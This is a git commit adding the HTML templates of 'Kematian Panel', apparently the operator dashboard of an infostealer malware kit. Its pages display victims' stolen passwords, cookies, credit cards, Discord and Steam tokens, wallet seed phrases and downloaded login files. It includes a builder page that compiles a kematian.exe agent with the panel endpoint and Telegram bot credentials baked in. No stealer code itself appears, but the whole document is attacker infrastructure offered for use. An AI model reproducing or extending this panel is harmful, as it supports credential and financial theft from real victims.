initial commit

This commit is contained in:
i2p
2026-08-27 11:23:01 -06:00
commit d8ff4ca963
144 changed files with 21051 additions and 0 deletions
+83
View File
@@ -0,0 +1,83 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{% block title %}Kematian Panel{% endblock %}</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
<script src="{{ url_for('static', filename='js/app.js') }}" defer></script>
{% block head %}{% endblock %}
</head>
<body>
{% if session.get('admin') %}
<aside class="sidebar">
<div class="brand">
<div class="brand-logo"></div>
<div class="brand-name">kematian<span class="brand-dot">panel</span></div>
</div>
<div class="profile">
<div class="profile-avatar">{{ (session['admin'][:1]) | upper }}</div>
<div class="profile-info">
<div class="profile-name">{{ session['admin'] }}</div>
<div class="profile-role">Administrator</div>
</div>
</div>
<div class="nav-group-label">Main Menu</div>
<nav class="nav">
<a href="{{ url_for('dashboard') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/dash.svg') }}" alt="" class="nav-ico">Dashboard
</a>
<a href="{{ url_for('clients') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Activity Logs
</a>
<a href="{{ url_for('fileshare') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/wallet.svg') }}" alt="" class="nav-ico">FileShare
</a>
<a href="{{ url_for('all_loot') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Loot
</a>
</nav>
<div class="nav-group-label">Data</div>
<nav class="nav">
{% for key, (label, table, icon, title) in categories.items() %}
<a href="{{ url_for('category', key=key) }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" alt="" class="nav-ico">{{ label }}
</a>
{% endfor %}
</nav>
<div class="nav-group-label">Settings</div>
<nav class="nav">
<a href="{{ url_for('build_page') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/key.svg') }}" alt="" class="nav-ico">Builder
</a>
<a href="{{ url_for('search') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/history.svg') }}" alt="" class="nav-ico">Search
</a>
</nav>
<div class="sidebar-foot">
<div class="online"><span class="online-dot"></span>Online</div>
<div class="foot-user">{{ session['admin'] }}</div>
<a href="{{ url_for('logout') }}" class="logout-btn">Logout</a>
</div>
</aside>
{% endif %}
<div class="main {% if session.get('admin') %}with-sidebar{% endif %}">
{% with messages = get_flashed_messages(with_categories=true) %}
{% for cat, msg in messages %}
<div class="flash flash-{{ cat }}">{{ msg }}</div>
{% endfor %}
{% endwith %}
{% block content %}{% endblock %}
</div>
<footer class="panel-foot">
<a href="https://t.me/electronic_sex" target="_blank" rel="noopener">t.me/electronic_sex</a>
</footer>
</body>
</html>
+95
View File
@@ -0,0 +1,95 @@
{% extends "base.html" %}
{% block title %}Builder · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Agent <span class="accent">Builder</span></h1>
<p class="muted">Build a fresh kematian.exe on the server with your panel + Telegram config baked in.</p>
</div>
</div>
{% if error %}
<div class="flash flash-error">{{ error }}</div>
{% endif %}
<form class="build-form" method="post" action="{{ url_for('build_start') }}">
<div class="form-card">
<h2>Target configuration</h2>
<label>Panel endpoint</label>
<input type="text" name="endpoint" value="{{ default_endpoint }}" placeholder="https://mypanel.com" autocomplete="off">
<p class="hint">Panelinizin adresi. `/api/ingest` otomatik eklenir.</p>
<label>Panel auth / ingest key</label>
<input type="text" name="auth" placeholder="kematian-ingest-key-CHANGE-ME" required autocomplete="off">
<p class="hint">Paneldeki <code>PANEL_INGEST_KEY</code> ile aynı olmalı.</p>
<div class="form-row">
<div>
<label>Telegram bot token <span class="muted">(opsiyonel)</span></label>
<input type="text" name="bot_token" placeholder="123456:ABC... . . ." autocomplete="off">
</div>
<div>
<label>Telegram chat ID <span class="muted">(opsiyonel)</span></label>
<input type="text" name="chat_id" placeholder="-100123456" autocomplete="off">
</div>
</div>
<label>Build name</label>
<input type="text" name="build_name" value="kematian" autocomplete="off" style="max-width:260px">
<button type="submit" class="btn btn-primary">Build agent</button>
</div>
</form>
{% if started %}
<div class="build-progress" data-build="{{ started }}">
<h2>Build <span class="mono">#{{ started }}</span></h2>
<div id="build-actions"></div>
</div>
{% endif %}
{% if builds %}
<h2 class="section-title">Recent builds</h2>
<div class="table-card">
<table>
<thead><tr><th>#</th><th>Status</th><th>File</th><th></th></tr></thead>
<tbody>
{% for id, j in builds.items() %}
<tr>
<td class="mono">#{{ id }}</td>
<td><span class="tag tag-{{ j['status'] }}">{{ j['status'] }}</span></td>
<td class="mono">{{ j['exe'] and os.path.basename(j['exe']) or '—' }}</td>
<td>{% if j['exe'] %}<a class="btn btn-ghost btn-sm" href="{{ url_for('build_download', filename=os.path.basename(j['exe'])) }}">Download</a>{% elif j['status'] == 'running' %}<button class="btn btn-ghost btn-sm" onclick="pollStatus({{ id }}, true)">Refresh</button>{% endif %}</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
{% endif %}
<script>
function pollStatus(id, isRow) {
fetch(`/build/status/${id}`)
.then(r => r.json())
.then(d => {
const actions = document.getElementById("build-actions");
if (!actions) return;
if (d.status === "done" && d.download) {
actions.innerHTML = `<span class="muted">Build finished.</span> <a class="btn btn-primary" href="${d.download}">Download agent</a>`;
} else if (d.status === "error") {
actions.innerHTML = `<span class="flash flash-error">Build failed: ${esc(d.error || "unknown")}</span>`;
} else {
actions.innerHTML = `<span class="muted">Building…</span>`;
}
});
}
function esc(s) {
return String(s).replace(/[&<>"']/g, c => ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));
}
{% if started %}
setInterval(() => pollStatus({{ started }}), 2000);
pollStatus({{ started }});
{% endif %}
</script>
{% endblock %}
+151
View File
@@ -0,0 +1,151 @@
{% extends "base.html" %}
{% block title %}{{ title }} · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1 class="with-ico"><img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" class="head-ico" alt="">{{ label }}</h1>
<p class="muted">{{ title }} · {{ rows|length }} total{% if client_filter %} · <a href="{{ url_for('category', key=key) }}">clear filter</a>{% endif %}</p>
{% if client_filter and key in ['wallets','telegram','gaming','files','keys'] %}
<p class="muted"><a href="{{ url_for('client_loot', client_id=client_filter) }}" class="accent">→ download hosted files for this client</a></p>
{% endif %}
</div>
<div class="head-actions">
{% if key in ['passwords','cookies','autofill','credit_cards','discord_tokens','app_credentials','seeds','steam_tokens'] %}
<button type="button" class="btn btn-ghost reveal-all">Reveal secrets</button>
{% endif %}
<a class="btn btn-ghost" href="{{ url_for('api_raw', key=key) }}{% if client_filter %}?client={{ client_filter }}{% endif %}" target="_blank">Raw JSON</a>
</div>
</div>
<div class="table-card">
<div class="table-scroll">
<table class="cat-table">
<thead>
<tr>
{% if key == 'passwords' %}<th>URL</th><th>Username</th><th>Password</th><th>Browser</th>{% endif %}
{% if key == 'cookies' %}<th>Host</th><th>Name</th><th>Value</th><th>Browser</th>{% endif %}
{% if key == 'autofill' %}<th>Field</th><th>Value</th><th>Browser</th>{% endif %}
{% if key == 'history' %}<th>URL</th><th>Title</th><th>Visits</th><th>Last visit</th>{% endif %}
{% if key == 'bookmarks' %}<th>Name</th><th>URL</th><th>Type</th>{% endif %}
{% if key == 'credit_cards' %}<th>Card</th><th>Holder</th><th>Exp</th><th>Browser</th>{% endif %}
{% if key == 'discord_tokens' %}<th>Token</th><th>Source</th>{% endif %}
{% if key == 'files' %}<th>Name</th><th>Size</th><th>Path</th>{% endif %}
{% if key == 'extensions' %}<th>Name</th><th>Version</th><th>Browser</th><th>ID</th>{% endif %}
{% if key == 'wallets' %}<th>Name</th><th>Type</th><th>Size</th><th>Addresses</th>{% endif %}
{% if key == 'telegram' %}<th>Account</th><th>Files</th><th>Size</th><th>Path</th>{% endif %}
{% if key == 'keys' %}<th>Type</th><th>Name</th><th>Size</th><th>Path</th>{% endif %}
{% if key in ['wallets','telegram','gaming'] %}<th>Files</th>{% endif %}
{% if key == 'app_credentials' %}<th>App</th><th>Host</th><th>Username</th><th>Password</th>{% endif %}
{% if key == 'seeds' %}<th>Phrase</th><th>Source</th><th>Words</th>{% endif %}
{% if key == 'gaming' %}<th>Platform</th><th>Data</th>{% endif %}
{% if key == 'steam_tokens' %}<th>Steam ID</th><th>Token</th>{% endif %}
{% if key == 'vpns' %}<th>VPN</th><th>Data</th>{% endif %}
<th>Client</th>
</tr>
</thead>
<tbody>
{% for r in rows %}
<tr>
{% if key == 'passwords' %}
<td class="mono">{{ r['url'] or '' }}</td>
<td>{{ r['username'] or '' }}</td>
<td class="pw">{{ r['password'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'cookies' %}
<td class="mono">{{ r['host'] or '' }}</td>
<td class="mono">{{ r['name'] or '' }}</td>
<td class="mono pw">{{ r['value'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'autofill' %}
<td>{{ r['name'] or '' }}</td>
<td class="pw">{{ r['value'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'history' %}
<td class="mono">{{ r['url'] or '' }}</td>
<td>{{ r['title'] or '' }}</td>
<td>{{ r['visit_count'] or 0 }}</td>
<td>{{ (r['last_visit_time'] | datetime) if r['last_visit_time'] else '—' }}</td>
{% endif %}
{% if key == 'bookmarks' %}
<td>{{ r['name'] or '' }}</td>
<td class="mono">{{ r['url'] or '' }}</td>
<td>{{ r['type'] or '' }}</td>
{% endif %}
{% if key == 'credit_cards' %}
<td class="pw">{{ r['card_number'] or '' }}</td>
<td>{{ r['name_on_card'] or '' }}</td>
<td>{{ r['expiration_month'] or '?' }}/{{ r['expiration_year'] or '?' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'discord_tokens' %}
<td class="mono pw">{{ r['token'] or '' }}</td>
<td>{{ r['source'] or '' }}</td>
{% endif %}
{% if key == 'files' %}
<td>{{ r['name'] or '' }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['path'] or '' }}</td>
{% endif %}
{% if key == 'extensions' %}
<td>{{ r['name'] or '' }}</td>
<td>{{ r['version'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
<td class="mono">{{ r['ext_id'] or '' }}</td>
{% endif %}
{% if key == 'wallets' %}
<td>{{ r['name'] or '' }}</td>
<td>{{ r['type'] or '' }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['addresses'] or '' }}</td>
{% endif %}
{% if key == 'telegram' %}
<td>{{ r['account'] or '' }}</td>
<td>{{ r['files'] or 0 }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['path'] or '' }}</td>
{% endif %}
{% if key == 'keys' %}
<td>{{ r['type'] or '' }}</td>
<td>{{ r['name'] or '' }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['path'] or '' }}</td>
{% endif %}
{% if key in ['wallets','telegram','gaming'] %}
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_loot', client_id=r.client_id) }}">Download</a></td>
{% endif %}
{% if key == 'app_credentials' %}
<td>{{ r['application'] or '' }}</td>
<td class="mono">{{ r['host'] or '' }}</td>
<td>{{ r['username'] or '' }}</td>
<td class="pw">{{ r['password'] or '' }}</td>
{% endif %}
{% if key == 'seeds' %}
<td class="mono pw">{{ r['phrase'] or '' }}</td>
<td>{{ r['source'] or '' }}</td>
<td>{{ r['words'] or 0 }}</td>
{% endif %}
{% if key == 'gaming' %}
<td>{{ r['platform'] or '' }}</td>
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
{% endif %}
{% if key == 'steam_tokens' %}
<td class="mono">{{ r['steam_id'] or '' }}</td>
<td class="mono pw">{{ r['token'] or '' }}</td>
{% endif %}
{% if key == 'vpns' %}
<td>{{ r['vpn'] or '' }}</td>
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
{% endif %}
<td><a href="{{ url_for('client_detail', client_id=r.client_id) }}" class="mono client-link">{{ r.client_id }}</a></td>
</tr>
{% else %}
<tr><td colspan="12" class="empty">No {{ label|lower }} yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
{% endblock %}
+34
View File
@@ -0,0 +1,34 @@
{% extends "base.html" %}
{% block title %}{{ cli.client_id }} · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1 class="mono">{{ cli.client_id }}</h1>
<p class="muted">{{ cli.os or 'Unknown' }} {{ cli.arch or '' }} · v{{ cli.version or '?' }}</p>
</div>
<div class="head-actions">
<a class="btn btn-primary" href="{{ url_for('client_loot', client_id=cli.client_id) }}">Files &amp; Downloads</a>
<a class="btn btn-ghost" href="{{ url_for('clients') }}">Back</a>
</div>
</div>
<div class="stat-row">
<div class="stat-card"><div class="stat-num">{{ cli.ip or '—' }}</div><div class="stat-label">IP</div></div>
<div class="stat-card"><div class="stat-num">{{ cli.total_entries }}</div><div class="stat-label">Entries</div></div>
<div class="stat-card"><div class="stat-num">{{ (cli.first_seen | datetime) if cli.first_seen else '—' }}</div><div class="stat-label">First seen</div></div>
<div class="stat-card"><div class="stat-num">{{ (cli.last_seen | datetime) if cli.last_seen else '—' }}</div><div class="stat-label">Last seen</div></div>
</div>
<h2 class="section-title">Data breakdown</h2>
<div class="grid">
{% for key, s in per_cat.items() %}
<a class="type-card" href="{{ url_for('category', key=key) }}?client={{ cli.client_id }}">
<img src="{{ url_for('static', filename='icons/' ~ s.icon ~ '.svg') }}" class="type-ico" alt="">
<div class="type-body">
<div class="type-label">{{ s.label }}</div>
<div class="type-count">{{ s.count }}</div>
</div>
</a>
{% endfor %}
</div>
{% endblock %}
+34
View File
@@ -0,0 +1,34 @@
{% extends "base.html" %}
{% block title %}Clients · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Clients</h1>
<p class="muted">Every agent that has reported in.</p>
</div>
</div>
<div class="table-card">
<table>
<thead>
<tr><th>Client</th><th>OS</th><th>Arch</th><th>Version</th><th>IP</th><th>First seen</th><th>Last seen</th><th>Entries</th></tr>
</thead>
<tbody>
{% for c in clients %}
<tr>
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono">{{ c.client_id }}</a></td>
<td>{{ c.os or '—' }}</td>
<td>{{ c.arch or '—' }}</td>
<td>{{ c.version or '—' }}</td>
<td class="mono">{{ c.ip or '—' }}</td>
<td>{{ (c.first_seen | datetime) if c.first_seen else '—' }}</td>
<td>{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
<td>{{ c.total_entries }}</td>
</tr>
{% else %}
<tr><td colspan="8" class="empty">No clients yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endblock %}
+154
View File
@@ -0,0 +1,154 @@
{% extends "base.html" %}
{% block title %}Dashboard · Kematian {% endblock %}
{% block head %}
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/chart.umd.min.js"></script>
{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Dashboard</h1>
<p class="muted">Overview of everything Kematian has collected. t.me/electronic_sex</p>
</div>
<div class="head-actions">
<a class="btn btn-ghost" href="{{ url_for('clients') }}">View clients</a>
</div>
</div>
<div class="stat-row">
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/files.svg') }}" alt=""></div>
<div class="stat-num">{{ client_count }}</div>
<div class="stat-label">Total Clients</div>
<span class="stat-trend up">live</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/pass.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['passwords'].count }}</div>
<div class="stat-label">Passwords Captured</div>
<span class="stat-trend up">collected</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/cookie.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['cookies'].count }}</div>
<div class="stat-label">Cookies Stolen</div>
<span class="stat-trend up">collected</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/discord.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['discord_tokens'].count }}</div>
<div class="stat-label">Discord Tokens</div>
<span class="stat-trend up">collectible</span>
</div>
</div>
<div class="charts-row">
<div class="chart-card">
<h2>Activity Overview</h2>
<div class="chart-body"><canvas id="activityChart"></canvas></div>
</div>
<div class="chart-card">
<h2>Data Distribution</h2>
<div class="chart-body"><canvas id="distChart"></canvas></div>
</div>
</div>
<div class="page-head" style="margin-bottom:12px">
<div><h1 style="font-size:19px">Recent Activity</h1></div>
<div class="head-actions">
<a class="btn btn-ghost" href="{{ url_for('clients') }}">All clients</a>
<a class="btn btn-primary" href="{{ url_for('all_loot') }}">Downloads</a>
</div>
</div>
<div class="table-card">
<div class="table-scroll">
<table>
<thead>
<tr><th>Date</th><th>Victim</th><th>IP</th><th>System</th><th>Entries</th><th></th></tr>
</thead>
<tbody>
{% for c in recent %}
<tr>
<td class="mono">{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono client-link">{{ c.client_id }}</a></td>
<td class="mono">{{ c.ip or '—' }}</td>
<td>{{ c.os or '—' }} {{ c.arch or '' }}</td>
<td><span class="chip chip-green">{{ c.total_entries }}</span></td>
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_detail', client_id=c.client_id) }}">View</a></td>
</tr>
{% else %}
<tr><td colspan="6" class="empty">No clients yet. Data lands here when the agent posts.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
<script>
window.addEventListener("DOMContentLoaded", () => {
const PURPLE = "#a855f7";
const PURPLE2 = "#7c3aed";
const grid = "rgba(255,255,255,0.05)";
const labels = {{ chart_labels | tojson }};
const values = {{ chart_values | tojson }};
const icons = {{ chart_icons | tojson }};
// Activity Overview — t.me/electronic_sex
const ctxA = document.getElementById("activityChart");
if (ctxA) {
new Chart(ctxA, {
type: "line",
data: {
labels: labels,
datasets: [{
label: "Entries",
data: values,
borderColor: PURPLE,
backgroundColor: "rgba(168,85,247,0.12)",
fill: true,
tension: 0.4,
pointBackgroundColor: PURPLE,
pointBorderColor: "#0a0a0f",
pointBorderWidth: 2,
pointRadius: 4,
}]
},
options: {
responsive: true, maintainAspectRatio: false,
plugins: { legend: { display: false } },
scales: {
x: { ticks: { color: "#8b8b98", maxRotation: 45, minRotation: 0, font: { size: 10 } }, grid: { color: grid } },
y: { ticks: { color: "#8b8b98", font: { size: 11 } }, grid: { color: grid }, beginAtZero: true }
}
}
});
}
// Data Distribution — donut
const ctxD = document.getElementById("distChart");
if (ctxD) {
const palette = ["#a855f7","#7c3aed","#c084fc","#9333ea","#6d28d9","#d8b4fe","#8b5cf6","#a78bfa"];
new Chart(ctxD, {
type: "doughnut",
data: {
labels: labels,
datasets: [{
data: values,
backgroundColor: palette,
borderColor: "#131318",
borderWidth: 3,
hoverOffset: 6,
}]
},
options: {
responsive: true, maintainAspectRatio: false,
cutout: "62%",
plugins: {
legend: { position: "bottom", labels: { color: "#8b8b98", boxWidth: 12, padding: 10, font: { size: 10 } } }
}
}
});
}
});
</script>
{% endblock %}
+73
View File
@@ -0,0 +1,73 @@
{% extends "base.html" %}
{% block title %}FileShare · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>File<span class="accent">Share</span></h1>
<p class="muted">Hosted login files (wallets, Steam, Telegram) + your own uploads. Click a file to download, or copy its direct link.</p>
</div>
</div>
<div class="upload-card">
<h2>Upload a file</h2>
<form method="post" action="{{ url_for('fileshare_upload') }}" enctype="multipart/form-data" class="upload-form">
<label>File</label>
<input type="file" name="file" required>
<label>Category <span class="muted">(optional)</span></label>
<input type="text" name="category" value="upload" placeholder="upload" style="max-width:200px">
<button type="submit" class="btn btn-primary">Upload</button>
</form>
<p class="hint">Uploaded files are stored under <code>panel/loot/upload/</code> and get a shareable link.</p>
</div>
<h2 class="section-title">Hosted files <span class="muted">({{ blobs|length }})</span></h2>
<div class="table-card">
<table>
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
<tbody>
{% for b in blobs %}
<tr>
<td>{% if b.client_id == 'upload' %}<span class="tag">upload</span>{% else %}<a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a>{% endif %}</td>
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
<td><span class="tag">{{ b.category or '—' }}</span></td>
<td class="mono">{{ (b.size | filesize) }}</td>
<td>
<a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a>
<button type="button" class="btn btn-ghost btn-sm copy-link" data-url="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Copy link</button>
</td>
</tr>
{% else %}
<tr><td colspan="5" class="empty">No files shared yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
<h2 class="section-title">Clients with files</h2>
<div class="grid">
{% for cid, items in by_client.items() %}
<a class="type-card" href="{{ url_for('client_loot', client_id=cid) }}">
<img src="{{ url_for('static', filename='icons/files.svg') }}" class="type-ico" alt="">
<div class="type-body">
<div class="type-label mono">{{ 'your uploads' if cid == 'upload' else cid }}</div>
<div class="type-count">{{ items }} file{{ '' if items == 1 else 's' }}</div>
</div>
</a>
{% else %}
<p class="muted">No client has hosted files.</p>
{% endfor %}
</div>
<script>
document.addEventListener("click", (e) => {
const btn = e.target.closest(".copy-link");
if (!btn) return;
const url = new URL(btn.dataset.url, window.location.origin).href;
navigator.clipboard.writeText(url).then(() => {
const prev = btn.textContent;
btn.textContent = "copied ✓";
setTimeout(() => { btn.textContent = prev; }, 900);
}).catch(() => {});
});
</script>
{% endblock %}
+19
View File
@@ -0,0 +1,19 @@
{% extends "base.html" %}
{% block title %}Login · Kematian{% endblock %}
{% block content %}
<div class="auth-wrap">
<form class="auth-card" method="post" action="{{ url_for('login', next=request.args.get('next')) }}">
<div class="auth-logo"></div>
<h1>kematian<span class="accent">panel</span></h1>
<p class="auth-sub">Admin login</p>
<label>Username</label>
<input type="text" name="username" required autofocus placeholder="admin">
<label>Password</label>
<input type="password" name="password" required placeholder="••••••••">
<button type="submit" class="btn btn-primary">Sign in</button>
</form>
</div>
{% endblock %}
+32
View File
@@ -0,0 +1,32 @@
{% extends "base.html" %}
{% block title %}Loot · {{ client_id }} · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Files <span class="accent">· {{ client_id }}</span></h1>
<p class="muted">Hosted login files (wallets, Steam, Telegram) — click to download.</p>
</div>
<div class="head-actions">
<a class="btn btn-primary" href="{{ url_for('loot_zip', client_id=client_id) }}">Download all (.zip)</a>
<a class="btn btn-ghost" href="{{ url_for('client_detail', client_id=client_id) }}">Back to client</a>
</div>
</div>
<div class="table-card">
<table>
<thead><tr><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
<tbody>
{% for b in blobs %}
<tr>
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
<td><span class="tag">{{ b.category or '—' }}</span></td>
<td class="mono">{{ (b.size | filesize) }}</td>
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
</tr>
{% else %}
<tr><td colspan="4" class="empty">No hosted files for this client yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endblock %}
+29
View File
@@ -0,0 +1,29 @@
{% extends "base.html" %}
{% block title %}Loot · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Loot</h1>
<p class="muted">All hosted files (wallets, Steam, Telegram) across every client.</p>
</div>
</div>
<div class="table-card">
<table>
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
<tbody>
{% for b in blobs %}
<tr>
<td><a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a></td>
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
<td><span class="tag">{{ b.category or '—' }}</span></td>
<td class="mono">{{ (b.size | filesize) }}</td>
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a></td>
</tr>
{% else %}
<tr><td colspan="5" class="empty">No hosted files yet. They appear when a client reports wallets/Steam/Telegram.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endblock %}
+34
View File
@@ -0,0 +1,34 @@
{% extends "base.html" %}
{% block title %}Search · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Search</h1>
<p class="muted">Look for anything across passwords, cookies, and discord tokens.</p>
</div>
</div>
<form class="search-bar" method="get" action="{{ url_for('search') }}">
<input type="text" name="q" value="{{ q }}" placeholder="Search username, url, host, token..." autofocus>
<button type="submit" class="btn btn-primary">Search</button>
</form>
{% if q %}
<div class="table-card">
<table>
<thead><tr><th>Type</th><th>Detail</th><th>Client</th></tr></thead>
<tbody>
{% for r in results %}
<tr>
<td>{{ r.type }}</td>
<td class="mono">{{ r.detail }}</td>
<td><a href="{{ url_for('client_detail', client_id=r.client) }}" class="mono client-link">{{ r.client }}</a></td>
</tr>
{% else %}
<tr><td colspan="3" class="empty">No matches for "{{ q }}".</td></tr>
{% endfor %}
</tbody>
</table>
</div>
{% endif %}
{% endblock %}
+20
View File
@@ -0,0 +1,20 @@
{% extends "base.html" %}
{% block title %}Setup · Kematian{% endblock %}
{% block content %}
<div class="auth-wrap">
<form class="auth-card" method="post">
<div class="auth-logo"></div>
<h1>Create <span class="accent">admin</span></h1>
<p class="auth-sub">One-time setup — runs only once</p>
<label>Username</label>
<input type="text" name="username" required autofocus placeholder="admin">
<label>Password</label>
<input type="password" name="password" required placeholder="min 6 chars">
<button type="submit" class="btn btn-primary">Create & continue</button>
<a href="{{ url_for('login') }}" class="auth-link">Back to login</a>
</form>
</div>
{% endblock %}